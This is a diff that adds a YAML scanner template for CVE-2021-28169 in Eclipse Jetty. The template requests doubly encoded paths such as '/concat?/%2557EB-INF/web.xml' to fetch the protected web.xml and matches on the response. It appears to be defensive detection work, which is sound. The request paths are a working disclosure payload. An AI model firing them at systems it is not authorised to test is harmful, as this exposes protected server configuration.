diff --git a/cves/2021/CVE-2021-28169.yaml b/cves/2021/CVE-2021-28169.yaml
new file mode 100644
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+++ b/cves/2021/CVE-2021-28169.yaml
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+id: CVE-2021-28169
+
+info:
+  name: Jetty Utility Servlets Information Disclosure
+  author: pikpikcu
+  severity: info
+  reference: |
+    - https://twitter.com/sec715/status/1406787963569065988
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-28169
+  description: |
+    For Eclipse Jetty versions <= 9.4.40, <= 10.0.2, <= 11.0.2, it is possible for requests to the ConcatServlet with a doubly encoded path to access protected resources within the WEB-INF directory.
+  tags: cve,cve2021,jetty
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/static?/%2557EB-INF/web.xml"
+      - "{{BaseURL}}/concat?/%2557EB-INF/web.xml"
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "application/xml"
+        part: header
+
+      - type: word
+        words:
+          - "<web-app>"
+          - "java.sun.com"
+        part: body
+        condition: and
+
+      - type: status
+        status:
+          - 200